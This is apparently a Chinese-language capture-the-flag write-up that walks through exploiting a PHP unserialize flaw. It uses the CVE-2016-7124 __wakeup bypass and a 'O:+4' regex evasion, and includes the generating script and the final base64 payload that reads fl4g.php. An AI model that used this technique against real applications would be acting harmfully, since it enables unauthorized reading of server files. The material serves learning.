本题进入场景后,显示如下代码:
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:d+:/i', $var)) { die('stop hacking!'); } else { @unserialize($var); } } else { highlight_file("index.php"); } ?>
可以看出,代码中使用了php反序列化函数unserialize(),且可以通过$var来控制unserialize()的变量,猜测存在php反序列化漏洞。
php序列化:php为了方便进行数据的传输,允许把复杂的数据结构,压缩到一个字符串中。使用serialize()函数。
Php反序列化:将被压缩为字符串的复杂数据结构,重新恢复。使用unserialize() 函数。
php反序列化漏洞:php有许多魔术方法,如果代码中使用了反序列化 unserialize()函数,并且参数可控制,那么可以通过设定注入参数来完成想要实现的目的。
具体php反序列化学习可参考:https://www.cnblogs.com/ichunqiu/p/10484832.html
看到源码,本题需要绕过一个__wakeup()函数和一个正则匹配,才能高亮显示出 fl4g.php 文件。
绕过__wakeup():
在反序列化执行之前,会先执行__wakeup这个魔术方法,所以需要绕过。
绕过__wakeup()是利用CVE-2016-7124漏洞,即反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup( )的执行。
影响版本:
- PHP before 5.6.25
- 7.x before 7.0.10
绕过正则:
使用+可以绕过preg_match(), 正则匹配这里匹配的是 O:4,我们用 O:+4 即可绕过。
脚本如下:
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } $var = new Demo('fl4g.php'); $var = serialize($var); var_dump($var);//string(48) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}" $var = str_replace('O:4', 'O:+4',$var);//绕过preg_match $var = str_replace(':1:', ':2:',$var);//绕过wakeup var_dump($var);//string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}" var_dump(base64_encode($var));#显示base64编码后的序列化字符串 //string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==" ?>
最后get传参即可获得flag。
?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
这里有个坑,这里的 file 变量为私有变量,所以序列化之后的字符串开头结尾各有一个空白字符(即%00),字符串长度也比实际长度大 2,如果将序列化结果复制到在线的 base64 网站进行编码可能就会丢掉空白字符,所以这里直接在php 代码里进行编码。类似的还有 protected 类型的变量,序列化之后字符串首部会加上%00*%00。